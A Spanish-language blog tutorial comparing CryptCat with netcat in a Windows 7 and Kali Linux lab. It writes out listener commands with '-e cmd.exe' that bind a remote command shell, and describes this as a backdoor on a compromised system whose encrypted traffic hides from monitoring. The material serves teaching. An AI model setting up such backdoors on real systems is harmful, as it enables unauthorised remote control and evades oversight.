CryptCat

  • Posted on: 16 January 2014
  • By: ReYDeS

CrypCat es el netcat estándar mejorado con cifrado twofish, el cual ha sido portado para Windows NT, BSD y GNU/LInux. Twofish es un cifrado de bloque, el cual tiene un tamaño de bloque de 128 bits, el tamaño de la clave varía en un rango desde 128 hasta 256 bits, y está optimizado para CPUs de 32 bits.

Crypcat es una cuchilla suiza para TCP/IP extendida con el cifrado twofish. Es la sencilla utilidad en Unix la cual puede leer y escribir datos a través de las conexiones de red, utilizando el protocolo UDP o TCP mientras cifra los datos que están siendo transmitidos. Esta diseñado para ser una herramienta de “back-end” confiable que puede ser utilizada directamente o manejada facilmente por otros programas y scripts. Al mismo tiempo, es una herramienta valiosa para depuración y exploración, dado que puede crear casi cualquier tipo de conexión que se requiera y tiene varias capacidades interesantes.

En la siguiente práctica se utilizará una máquina con Windows 7 y otra con Kali Linux.

Ejecutar Cryptcat para Windows utilizando el siguiente comando.

#C:\> cryptcat.exe -n -vv -l -p 7777 -e cmd.exe

La opción “-n” permite utilizar la dirección IP, sin DNS. La opción “-v” muestra más información sobre el procedimiento en curso. La opción “-l” pone a cryptcat en modo de atención para conexiones entrantes. La opción “-p” permite definir el número de puerto local y la opción “-e” define el programa a ejecutar cuando se reciba una conexión entrante al puerto definido. Este es un mecanismo muy sencillo para crear una puerta trasera en un sistema comprometido.

Desde Kali Linux conectarse al Sistema Windows 7, con el siguiente comando.

# cryptcat -n -vv 192.168.0.24 7777

En segundo plano se aprecia a la herramienta Wireshark. Se puede observar en la Terminal que la conexión se ha realizado satisfactoriamente.

WireShark es un analizar de protocolos de red, el cual permite capturar y navegar interactivamente en el tráfico. En esta práctica se utiliza Wireshark para visualizar las interacciones entre los dos sistemas, utilizando la herramienta Cryptcat.

Al utilizar la opción de Wireshark para seguir el Flujo TCP; mediante “Analyze -> Follow TCP Stream”, se visualiza la interacción generada al realizar un listado remoto de un directorio en Windows, desde Kali Linux. Se visualizan una gran cantidad de caracteres sin "ningún sentido". En términos sencillos, esto representa que la comunicación realizada se está cifrando con twofish.

Para corroborar este procedimiento realizado con la herramienta CryptCat, se utilizará netcat para realizar el mismo procedimiento descrito.

Se procede a ejecutar netcat en Windows con el siguiente comando.

C>:\ nc -n -vv -l -p 7777 -e cmd

Desde Kali Linux se procede a establecer una conexión; utilizando también nectat; hacia la máquina Windows.

# nc -n -vv 192.168.0.24 7777

Se ejecuta el comando “dir” para realizar un listado remoto de un directorio en Windows.

Al utilizar nuevamente la opción “Analyze -> Follow TCP Stream” de Wireshark, se visualiza el tráfico generado en texto plano. Es decir, todo este tráfico podría ser interceptado o visualizado sin ningún inconveniente por el administrador del sistema o algún mecanismo de seguridad implementado.

Fuentes:

http://cryptcat.sourceforge.net/
http://en.wikipedia.org/wiki/Twofish
http://www.wireshark.org/
http://netcat.sourceforge.net/

Sobre el Autor


Alonso Eduardo Caballero Quezada - ReYDeS
Instructor y Consultor Independiente en Ciberseguridad
Correo Electrónico: ReYDeS@gmail.com
Twitter: https://twitter.com/Alonso_ReYDeS
LinkedIn: https://pe.linkedin.com/in/alonsocaballeroquezada/
Facebook: https://www.facebook.com/alonsoreydes
Youtube: https://www.youtube.com/c/AlonsoCaballero


Webinar Informática Forense